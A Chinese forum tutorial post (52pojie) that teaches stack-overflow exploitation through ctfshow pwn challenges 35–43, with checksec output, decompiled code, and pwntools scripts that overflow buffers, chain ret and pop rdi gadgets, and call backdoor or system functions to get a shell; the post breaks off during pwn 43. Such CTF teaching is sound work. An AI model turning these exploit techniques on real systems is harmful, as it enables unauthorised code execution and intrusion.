吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1231|回复: 6
上一主题 下一主题
收起左侧

[CTF] 万字长文带你一点点学会PWN之栈溢出-第一篇

  [复制链接]
跳转到指定楼层
楼主
taoyangui 发表于 2026-2-17 21:20 回帖奖励

本来打算一篇文章学完栈溢出,考虑到字数过多,一篇文章看不下来,进行一下拆解。单纯将知识点感觉有点枯燥,这里结合ctfshow平台的pwn入门题目来学习。

主要讲一下基础的栈溢出以及一些工具和ret2libc的使用

pwn 35

分析

check一下

下载附件进行check,32位小端序,
checksec结果

Arch: i386-32-little

32位小端序架构,典型的x86架构,寄存器为eaxebxecx等,地址为4字节。

    RELRO:      Partial RELRO

部分重定位只读,GOT表可写,PLT只读

    Stack:      No canary found

栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过canary值

    NX:         NX enabled

数据执行保护开启,栈和堆上的数据无法直接执行,需要结合ROP或者ret2libc等技术

    PIE:        No PIE (0x8048000)

无地址随机化,代码和数据的地址固定,相比于开启更容易计算ROP gadget和函数地址。

IDA看看

拖入IDA中查看反汇编出来的代码,先看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [esp+0h] [ebp-1Ch]

  stream = fopen("/ctfshow_flag", "r");
  if ( !stream )
  {
    puts("/ctfshow_flag: No such file or directory.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, (__sighandler_t)sigsegv_handler);
  puts("    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           ");
  puts(asc_8048984);
  puts(
    " ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██");
  puts(asc_8048A8C);
  puts(asc_8048B1C);
  puts(asc_8048BA0);
  puts(
    "    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  ");
  puts("    * *************************************                           ");
  puts(aClassifyCtfsho);
  puts("    * Type  : Stack_Overflow                                          ");
  puts("    * Site  : https://ctf.show/                                       ");
  puts("    * Hint  : See what the program does!                              ");
  puts("    * *************************************                           ");
  puts("Where is flag?\n");
  if ( argc <= 1 )
  {
    puts("Try again!");
  }
  else
  {
    ctfshow((char *)argv[1]);
    printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]);
  }
  return 0;
}

主要逻辑从/ctfshow_flag中读取flag存储到全局变量flag中,如果文件不存在就输出ctfshow_flag: No such file or directorysignal(11, sigsegv_handler)然后设置了为段错误信号(SIGSEGV, 11)设置处理函数 sigsegv_handler。然后是输出ctfshow的艺术字,以及Where is flag?。然后获取我们的输入的参数,没有参数的话输出Try agaiin!。如果有参数,就调用ctfshow函数来处理第一个参数,然后输出QaQ!FLAG IS NOT HERE! Here is your input : %s这里的%s会显示称为我们的输入。跟进分析一下ctfshow函数。

char *__cdecl ctfshow(char *src)
{
  char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF

  return strcpy(dest, src);
}

函数写的很简单,声明一个104字节的名为dest的字符变量,位置在栈指针esp偏移0xC处,基地址ebp偏移-0x6C处,将我们输入的字符串通过strcpy函数复制到dest中返回一个指向dest指针。strcpy函数不检查目标缓冲区大小,如果src长度超过104字节就会溢出。strcpy是一个典型的可以用来制造溢出的函数。栈溢出时我们溢出的数据到无效地址时就会触发段错误,跟进分析一下sigsegv_handler函数。

void __noreturn sigsegv_handler()
{
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

sigsegv_handler函数很简单,简单的说就是输出flag然后关闭程序。到这里就很简单了我们只要在程序后输入一个超过104字节的字符串来进行触发栈溢出然后等他的段错误处理函数来输出flag就可以了。

payload及获取flag

这里手动输入105个a太蛮烦了,使用python生成一下

➜  Desktop python3 
Python 3.10.12 (main, Nov  4 2025, 08:48:33) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('a' * 105)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
>>> 

获取flag

pwn 36

分析一下

check一下

下载附件check一下,32位小端序

➜  pwn36 checksec pwn
  • '/home/p0ach1l/Desktop/test/pwn36/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX unknown - GNU_STACK missing     PIE:        No PIE (0x8048000)     Stack:      Executable     RWX:        Has RWX segments     Stripped:   No
  • 这里可以发现他跟之前分析的不一样,check出来的内容跟上一个程序相比多了好多东西,这是因为保护机制不同导致的。依旧是RELRO部分开启,部分重定位只读,GOT表可写,PLT只读。栈上没有金丝雀保护(Stack:      No canary found),存在栈溢出时不需要泄露或者绕过canary值。NX: NX unknown - GNU_STACK missing这个跟我们前面遇到的不一样,这里是无法确定NX保护状态,因为缺少GNU_STACK程序头。Stack:Executable栈上数据可以执行,我们在栈上写shellcode并直接执行。RWX:Has RWX segments程序中存在可读(R)可写(W)可执行(X)的段。PIE:No PIE (0x8048000) 无地址随机化,代码和数据的地址固定。Stripped:No符号表没有剥离。

    符号表包含的信息:函数名和地址,全局变量名,调试信息,源文件信息。有符号表在反汇编中能看到真实的函数名,无符号表时函数名显示为地址或自动生成的标签比如sub_8048456等。

    IDA看看

    拖入32位IDA后进行查看,先看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      puts("    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           ");
      puts(asc_80488B0);
      puts(
        " ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██");
      puts(asc_80489B8);
      puts(asc_8048A48);
      puts(asc_8048ACC);
      puts(
        "    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  ");
      puts("    * *************************************                           ");
      puts(aClassifyCtfsho);
      puts("    * Type  : Stack_Overflow                                          ");
      puts("    * Site  : https://ctf.show/                                       ");
      puts("    * Hint  : There are backdoor functions here!                      ");
      puts("    * *************************************                           ");
      puts("Find and use it!");
      puts("Enter what you want: ");
      ctfshow(&argc);
      return 0;
    }

    依旧是输出艺术字以及一些信息和提示,提示说There are backdoor functions here翻译过来就是这里有后门函数,后面会让我们进行输入,然后通过ctfshow函数来对参数进行处理。跟进分析一下ctfshow函数

    char *ctfshow()
    {
      char s[36]; // [esp+0h] [ebp-28h] BYREF
    
      return gets(s);
    

    定义一个36字节大小的数组s,数组距离ebp只有0x28个字节。然后使用 gets(s) 读取我们的输入。gets函数的特性是不检查输入长度,可以无限读取直到换行符。我们输入的字符串长度超过36即可触发溢出。但是仅仅有这个就能获取flag或者shell了吗?肯定不行的,只溢出程序崩溃对我们获取flag没有帮助的,如图:

    接着看是否其他的函数,也就是题目提示给的后门函数,这里的后门函数是get_flag函数

    int get_flag()
    {
      char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
      FILE *stream; // [esp+4Ch] [ebp-Ch]
    
      stream = fopen("/ctfshow_flag", "r");
      if ( !stream )
      {
        puts("/ctfshow_flag: No such file or directory.");
        exit(0);
      }
      fgets(s, 64, stream);
      return printf(s);
    }

    定义一个大小为64字节的字符数组s,然后读取ctfshow_flag的内容没有的话输出ctfshow_flag: No such file or directory。使用fgets读取文件内容到数组 s 中,然后输出。我们只需要触发栈溢出之后将程序的流程劫持到get_flag函数就可以获取到flag了。

    payload及获取flag

    再次确认一下我们的思路,存在栈溢出,以及后门函数get_flag函数,只需要在栈溢出后控制程序到get_flag函数就好。想要成功利用还需要有get_flag函数的地址,可以在IDA中查看也可以在脚本中自动获取。在IDA中话只需要看函数表中的地址就好了,

    脚本自动获取的话使用elf.sym 来获取 ELF 文件中符号(symbols)的地址就好了。

    from pwn import *
    context(arch='i386', os='linux', log_level='debug')
    #io = process(./pwn)  
    # 远程连接
    io = remote("pwn.challenge.ctf.show",28243)
    elf = ELF('./pwn')
    flag = elf.sym['get_flag']
    print(flag)
    flag_add = 0x8048586
    payload = b'a'*(0x28+4) + p32(flag_add)
    io.sendline(payload)
    io.interactive() 

    flag = elf.sym['get_flag']得到的地址是134514054,转换过来是一样的,效果一样。

    为什么payload要加4呢?
    这里的实际内存布局:

    [高地址]
    ebp+0x00: 保存的ebp (4字节)    ← +4 就是覆盖这里
    ebp-0x04: 可能的填充 (4字节)
    ...
    ebp-0x28: 字符数组s[36]开始    ← 我们从这里开始填充
    [低地址]

    0x28(40字节): 从s数组开始到保存的ebp的距离;+4(4字节):覆盖保存的ebp;然后才是覆盖返回地址。

    pwn 37

    分析一下

    check一下

    下载附件check一下

    ➜  pwn37 checksec pwn
    
  • '/home/p0ach1l/Desktop/test/pwn37/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRO部分开启,部分重定位只读,GOT表可写,PLT只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过canary值。NX:NX enabled:数据执行保护开启,栈和堆上的数据无法直接执行。PIE:No PIE (0x8048000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,先看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      init(&argc);
      logo();
      puts("Just very easy ret2text&&32bit");
      ctfshow();
      puts("\nExit");
      return 0;
    }

    先进行一下初始化,然后调用logo函数,输出ctfshow的logo以及一条提示Hint:It has system and '/bin/sh'.There is a backdoor function提示:它有system和'/bin/sh',有一个后门功能。然后输出Just very easy ret2text&&32bit只是非常简单的ret2text&&32位。然后调用ctfshow函数,接着换行输出Exit,结束程序。
    跟进分析一下ctfshow函数

    ssize_t ctfshow()
    {
      char buf[14]; // [esp+6h] [ebp-12h] BYREF
    
      return read(0, buf, 0x32u);
    }

    声明了一个大小为14字节的数组buf,起始地址距离栈基址ebp偏移0x12个字节也就是18个字节,然后从输入读取0x32个字节也就是50个字节存储到buf中。这里很明显存在栈溢出了。寻找一下后门函数,这里的后门函数是backdoor函数

    int backdoor()
    {
      system("/bin/sh");
      return 0;
    }

    很明显启动了一个交互式shell

    payload及获取flag

    我们的思路很简单,触发栈溢出后使用后门函数backdoor函数覆盖掉返回地址,使后门函数执行就好。
    需要确定一下函数的地址,依旧两种方法。
    通过脚本直接获取

    from pwn import *
    context(arch='i386',os='linux',log_level='debug')
    #io=process(./pwn)
    io=remote("pwn.challenge.ctf.show",28253)
    elf=ELF('pwn')
    backdoor=elf.sym['backdoor']
    print(backdoor)
    payload=b'a'*(0x12+4)+p32(backdoor)
    io.sendline(payload)
    io.interactive()

    通过IDA中的地址

    from pwn import *
    #context(arch='i386',os='linux',log_level='debug')
    #io=process(./pwn)
    io=remote("pwn.challenge.ctf.show",28253)
    backdoor=0x8048521
    payload=b'a'*(0x12+4)+p32(backdoor)
    io.sendline(payload)
    io.interactive()

    pwn 38

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn38 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn38/pwn'     Arch:       amd64-64-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x400000)     Stripped:   No
  • 64位小端序,RELRO:Partial RELRO:RELRO部分开启,部分重定位只读,GOT表可写,PLT只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过canary值。NX:NX enabled:数据执行保护开启,栈和堆上的数据无法直接执行。PIE:No PIE (0x400000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入IDA64位进行查看,先看看main函数

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 2, 0LL);
      puts("    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           ");
      puts(asc_400890);
      puts(
        " ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██");
      puts(asc_4009A0);
      puts(asc_400A30);
      puts(asc_400AB8);
      puts(
        "    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  ");
      puts("    * *************************************                           ");
      puts(aClassifyCtfsho);
      puts("    * Type  : Stack_Overflow                                          ");
      puts("    * Site  : https://ctf.show/                                       ");
      puts("    * Hint  : It has system and '/bin/sh'.There is a backdoor function");
      puts("    * *************************************                           ");
      puts("Just easy ret2text&&64bit");
      ctfshow();
      puts("\nExit");
      return 0;
    }

    跟之前PWN36的32位的程序程序差不多,只不过是64位而已,这里不进行过多赘述了,直接跟进分析ctfshow函数

    ssize_t ctfshow()
    {
      char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
    
      return read(0, buf, 0x32uLL);
    }

    定义了一个大小为10的字符数组buf,起始地址距离栈基址rbp偏移0xA个字节。从标准输入读取最多0x32也就是50字节到buf。很明显存在栈溢出了。寻找一下后门函数,这里的后门函数依旧是backdoor函数

    __int64 backdoor()
    {
      system("/bin/sh\n");
      return 0LL;
    }

    很明显启动了一个交互式shell。32位的话是通过栈上传递参数,而64位时通过寄存器来进行参数传递,系统调用的话32位没有严格对齐要求,64位的话必须要16字节对齐,所以需要使用ret进行堆栈平衡的调整,这里使用ROPgadget来获取ret的地址

    ROPgadget --binary ./pwn --only "ret"

    得到ret的地址是0x0000000000400287,可以简化位0x400287

    payload及获取flag

    获取后门函数的地址依旧是两种,IDA中查看backdoor函数的地址是0x400657

    from pwn import *
    context(arch='amd64',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28286)
    elf=ELF('./pwn')
    backdoor_adder=0x400657
    ret_adder=0x400287
    payload=b'a'*(0xA+8)+p64(ret_adder)+p64(backdoor_adder)
    io.sendline(payload)
    io.interactive()

    直接使用脚本获取

    from pwn import *
    context(arch='amd64',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28286)
    elf=ELF('./pwn')
    backdoor=elf.sym['backdoor']
    print("backdoor_adder=",hex(backdoor))
    ret_adder=0x400287
    payload=b'a'*(0xA+8)+p64(ret_adder)+p64(backdoor)
    io.sendline(payload)
    io.interactive()

    成功拿到flag

    pwn 39

    分析一下

    check一下

    下载附件先check一下

    ➜  pwn39 checksec pwn
    
  • '/home/p0ach1l/Desktop/test/pwn39/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRO部分开启,部分重定位只读,GOT表可写,PLT只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过canary值。NX:NX enabled:数据执行保护开启,栈和堆上的数据无法直接执行。PIE:No PIE (0x8048000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入IDA32位中进行查看,先看看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 2, 0);
      puts("    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           ");
      puts(asc_80487E0);
      puts(
        " ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██");
      puts(asc_80488E8);
      puts(asc_8048978);
      puts(asc_80489FC);
      puts(
        "    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  ");
      puts("    * *************************************                           ");
      puts(aClassifyCtfsho);
      puts("    * Type  : Stack_Overflow                                          ");
      puts("    * Site  : https://ctf.show/                                       ");
      puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
      puts("    * *************************************                           ");
      puts("Just easy ret2text&&32bit");
      ctfshow(&argc);
      puts("\nExit");
      return 0;
    }

    跟之前的差不多,初始化之后输出logo等消息,以及一条提示It has system and '/bin/sh',but they don't work together它有 system 和 '/bin/sh',但它们不能一起使用。然后依旧是ctfshow函数。跟进分析一下ctfshow函数。

    ssize_t ctfshow()
    {
      char buf[14]; // [esp+6h] [ebp-12h] BYREF
    
      return read(0, buf, 0x32u);
    }

    定义了一个大小位14字节的字符数组buf,起始地址距离栈基址ebp偏移0x12个字节,然后通过read函数读取0x32也就是50个字节到数组buf中,很明显存在栈溢出,开始根据提示找systembin/sh的地址。
    hint函数中发现存在systembin/sh

    int hint()
    {
      puts("/bin/sh");
      return system("echo 'You find me?'");
    }

    可以点击查看一下bin/sh的地址是0x8048750。system的地址直接查看不太好查,直接在脚本中获取。bin/sh的地址也可以在脚本中获取,使用elf.search('/bin/sh')来获取。或者使用ROPgadget来获取

    ROPgadget --binary ./pwn --string "/bin/sh"

    payload及获取flag

    前面说到我们在脚本中自动获取system的地址,直接开始编写就好

    from pwn import *
    context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28177)
    elf=ELF('./pwn')
    system=elf.sym['system']
    print("systemadder=",hex(system))
    bin_adder=0x8048750
    payload=b'a'*(0x12+4)+p32(system)+p32(0)+p32(bin_adder)
    io.sendline(payload)
    io.interactive()
    补充一下:为什么要加p32(0)

    p32(0) 在这里是 system函数的返回地址。system函数执行完后,需要有一个返回地址。正常情况下直接执行system("/bin/sh\n")的时候通常不会返回,我们手动构造的时候并不是直接执行的system("/bin/sh\n"),这个时候就需要来伪造一个system函数的返回地址
    这个时候的栈结构是

    +-----------------+
    | 填充垃圾数据      |  # 'a'*(0x12+4)
    +-----------------+
    | system函数地址   |  # 覆盖返回地址,返回到system
    +-----------------+
    | 返回地址         |  # system执行后的返回地址(这里为0)
    +-----------------+
    | 参数1           |  # system的第一个参数(应该是/bin/sh地址)
    +-----------------+

    pwn 40

    分析一下

    check一下

    下载附件,进行一下check

    ➜  pwn40 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn40/pwn'     Arch:       amd64-64-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x400000)     Stripped:   No
  • 64位小端序,RELRO:Partial RELRO:RELRO保护部分开启,部分重定位只读,GOT表可写,PLT只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据无法直接执行。PIE:No PIE (0x400000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入IDA64位进行查看,先看看main函数。

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 2, 0LL);
      puts("    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           ");
      puts(asc_4008A0);
      puts(
        " ██▀          ██     ██        ▄▄█████▄  ██▄████▄   ▄████▄  ██      ██");
      puts(asc_4009B0);
      puts(asc_400A40);
      puts(asc_400AC8);
      puts(
        "    ▀▀▀▀      ▀▀     ▀▀         ▀▀▀▀▀▀   ▀▀    ▀▀    ▀▀▀▀     ▀▀  ▀▀  ");
      puts("    * *************************************                           ");
      puts(aClassifyCtfsho);
      puts("    * Type  : Stack_Overflow                                          ");
      puts("    * Site  : https://ctf.show/                                       ");
      puts("    * Hint  : It has system and '/bin/sh',but they don't work together");
      puts("    * *************************************                           ");
      puts("Just easy ret2text&&64bit");
      ctfshow();
      puts("\nExit");
      return 0;
    }

    跟PWN39中的32位逻辑大差不差,都是输出logo和提示It has system and '/bin/sh',but they don't work together。然后是ctfshow函数,跟进分析一下

    ssize_t ctfshow()
    {
      char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
    
      return read(0, buf, 0x32uLL);
    }

    定义了一个大小为10的字符数组buf,起始地址距离栈基址 rbp 偏移 0xA个字节也就是10个字节。然后使用read函数向数组中读取最多0x32也就是50个字节。依旧是栈溢出啊。接着寻找后门函数,跟上一道题目一样,在hint函数中

    int hint()
    {
      puts("/bin/sh");
      return system("echo 'You find me?'");
    }

    依旧是需要拼接构造处system("/bin/sh")。跟进获取/bin/sh的地址为0x400808system的地址依旧使用脚本自动获取。

    payload及获取flag

    构造脚本之前还需要什么呢?是的,还需要ret的地址。

    ROPgadget --binary ./pwn --only ret

    得到ret的地址是0x00000000004004fe简写为0x4004fe。开始写脚本

    from pwn import *
    context(arch='amd64',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28250)
    bin_adder=0x400808
    elf=ELF('./pwn')
    system_adder=elf.sym['system']
    ret_adder=0x4004fe
    payload=b'a'*(0xA+8)+p64(ret_adder)+p64(system_adder)+p64(bin_adder)
    io.sendline(payload)
    io.interactive()

    运行发现并没有成功拿到shell,为什么会这样呢?
    这是因为64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。32位中函数参数是通过栈来传递,直接压栈就可以,但是64位中是前六个参数是寄存器来传递的。x64下第一个参数通过rdi寄存器传递,我们需要设置rdi的值.所以我们需要更换一下我们的执行流程。首先我们覆盖函数的返回地址为pop rdi的地址,执行pop rdi; ret,pop rdi将栈顶的值(/bin/sh的地址)弹出到rdi寄存器,ret弹出栈顶的下一个值作为返回地址,返回到system函数,此时rdi寄存器已经被设置为/bin/sh的地址,system函数执行system("/bin/sh")。
    用点外卖和堂食举个简单的例子,32位在处理时就像堂食,直接跟服务员说:"我要一份披萨"(参数放在栈上),服务员直接从桌上拿走订单给厨房,整体如下:

    # 32位:直接把参数放"桌上"(栈上)
    payload = 填充 + system地址 + 返回地址 + "/bin/sh地址"
    #           ↑桌子已准备好         ↑订单放桌上

    而64位系统在处理时就有点像点外卖,不能直接把我们的订单(参数)放在桌子(栈)上,必须先打客服(寄存器)电话(这里单纯打个比方方便理解不要在意那么多),客服(寄存器)接电话记下你的订单,然后转给厨房。整体流程像:

    # 64位:必须先"打电话"(设置寄存器)
    payload = 填充 + pop_rdi地址 + "/bin/sh地址" + system地址
    #               ↑打客服电话    ↑告诉客服订单  ↑客服转给厨房

    那么如何获取pop rdi的地址呢?
    依旧使用PORgadget来查找

    ROPgadget --binary ./pwn | grep "pop rdi"

    成功得到pop rdi的地址为0x4007e3
    编写正确的脚本

    from pwn import *
    context(arch='amd64',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28297)
    bin_adder=0x400808
    elf=ELF('./pwn')
    system_adder=elf.sym['system']
    ret_adder=0x4004fe
    pop_rdi=0x4007e3
    payload=b'a'*(0xA+8)+p64(pop_rdi)+p64(bin_adder)+p64(ret_adder)+p64(system_adder)
    io.sendline(payload)
    io.interactive()

    成功获取flag

    pwn 41

    分析一下

    check一下

    下载附件先check一下看看

    ➜  pwn41 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn41/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序,RELRO:Partial RELRO:RELRO保护部分开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA进行查看,先看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 2, 0);
      logo();
      ctfshow(&argc);
      puts("\nExit");
      return 0;
    }

    初始化,然后执行logo函数,打印logo以及提示It has system ,but don't have '/bin/sh'.Find something to replace it!,告诉我们有system,但是没有/bin/sh,可以找一些东西替代它。然后执行ctfshow函数,跟进分析一下ctfshow函数

    ssize_t ctfshow()
    {
      char buf[14]; // [esp+6h] [ebp-12h] BYREF
    
      return read(0, buf, 0x32u);
    }

    定义了一个大小为14字节的字符数组buf,起始地址距离栈基址ebp偏移了0x12个字节也就是18个字节,然后使用read函数读取0x32个字节也就是50个字节到buf中,很显然存在栈溢出,找一下后门函数。

    int hint()
    {
      system("echo flag");
      return 0;
    }

    确实有system函数,并且输出flag,这里的flag就是单纯的“flag”还是需要找一下有没有shell,或者有没有cat flag的。

    int useful()
    {
      return printf("sh");
    }

    useful函数中,有sh的字符串,使用这个来构造shell,跟前面构造system("/bin/sh")的步骤基本一样,这里做个小科普

    system("/bin/sh")和system("sh")的区别

    system("/bin/sh"):在Linux和类Unix系统中,/bin/sh通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用 system("/bin/sh") 会启动指定的shell程序,并在新的子进程中执行。这种方式可以确保使用系统默认的shell程序执行命令,因为/bin/sh链接通常指向默认shell的可执行文件。
    system("sh"):使用system("sh")会直接启动一个名为sh的shell程序,并在新的子进程中执行。这种方式假设系统的环境变量$PATH已经配置了能够找到sh可执行文件的路径,否则可能会导致找不到sh而执行失败。
    总结来说,system("/bin/sh")是直接指定了系统默认的shell程序路径来执行命令,而system("sh")则依赖系统的环境变量$PATH来查找sh可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的。

    payload及获取flag

    这里引入一下之前提到的第二种找字符串的方法也就是在python脚本中自动获取

    from pwn import *
    context(arch='i386',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28275)
    sh_adder=0x80487ba
    elf=ELF("./pwn")
    system_adder=elf.sym['system']
    sh=next(elf.search('sh'))
    print("sh adder=",hex(sh))
    payload=b'a'*(0x12+4)+p32(system_adder)+p32(0)+p32(sh_adder)
    io.sendline(payload)
    io.interactive()

    使用脚本获取也可以,直接使用IDA中的也可以,均可以获取flag

    pwn 42

    分析一下

    check一下
    ➜  pwn42 checksec pwn
    
  • '/home/p0ach1l/Desktop/test/pwn42/pwn'     Arch:       amd64-64-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x400000)     Stripped:   No
  • 64位小端序,RELRO:Partial RELRO:RELPO保护部分开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x400000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入64位IDA中进行查看,先看看main函数

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
      setvbuf(_bss_start, 0LL, 2, 0LL);
      setvbuf(stdin, 0LL, 2, 0LL);
      logo();
      ctfshow();
      puts("\nExit");
      return 0;
    }

    完成初始化后打印logo,然后依旧是ctfshow函数,跟进分析

    ssize_t ctfshow()
    {
      char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
    
      return read(0, buf, 0x32uLL);
    }

    定义了一个大小为10的字符数组变量buf,起始地址距离栈基址rbp偏移了0xA个字节也就是10个字节,然后使用read函数读取0x32个字节也就是50个字节到buf中,很显然存在栈溢出,找一下后门函数。跟上一道题目差不多,依旧是分开的,这里获取一下pop rdi的地址,直接写exp。

    ROPgadget --binary ./pwn | grep "pop rdi"

    得到pop rdi的地址为0x400843
    还有ret的地址

    ROPgadget --binary ./pwn --only ret

    得到ret的地址为0x40053e

    payload及获取flag

    from pwn import *
    context(arch='amd64',os='linux',log_level='debug')
    io=remote("pwn.challenge.ctf.show",28114)
    elf=ELF("./pwn")
    system_adder=elf.sym["system"]
    ret_adder=0x40053e
    pop_rdi_adder=0x400843
    sh_adder=0x400872
    payload=b'a'*(0xA+8)+p64(pop_rdi_adder)+p64(sh_adder)+p64(ret_adder)+p64(system_adder)
    io.sendline(payload)
    io.interactive()

    成功获取到flag

    PWN 43

    分析一下

    check一下

    下载附件先check一下看看

    ➜  pwn43 checksec pwn 
    
  • '/home/p0ach1l/Desktop/test/pwn43/pwn'     Arch:       i386-32-little     RELRO:      Partial RELRO     Stack:      No canary found     NX:         NX enabled     PIE:        No PIE (0x8048000)     Stripped:   No
  • 32位小端序RELRO:Partial RELRO:RELPO保护部分开启,部分重定位只读,GOT表可写,PLT表只读。Stack:No canary found:栈上没有金丝雀保护,存在栈溢出时不需要泄露或者绕过carry地址。NX:NX enabled:数据执行保护开启,堆和栈上的数据不能直接运行。PIE:No PIE (0x8048000):无地址随机化,代码和数据的地址固定。Stripped:No:符号表没有剥离。

    IDA看看

    拖入32位IDA中进行查看,先看main函数

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      init();
      logo();
      ctfshow();
      return 0;
    }

    初始化之后打印logo,以及提示信息This time there is no replacement! How to do?:这次没有替换!怎么办?,依旧是ctfshow函数,跟进分析一下看看

    char *ctfshow()
    {
      char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
    
      return gets(s);
    }

    定义了一个大小为104个字节的字符数组变量s,起始地址距离栈基址ebp偏移了0x6C个字节,然后使用gets函数向s读取数据,gets函数不会验证大小,一直读取到回车才结束,存在溢出。接着看其他的部分

    int hint()
    {
      unsigned int v0; // eax
      int result; // eax
      int v2; // [esp+8h] [ebp-10h] BYREF
      int v3; // [esp+Ch] [ebp-Ch]
    
      v0 = time(0);
      srand(v0);
      v3 = rand();
      __isoc99_scanf("%d", &v2);
      result = v2;
      if ( v3 == v2 )
        return system("where is shell?");
      return result;
    }

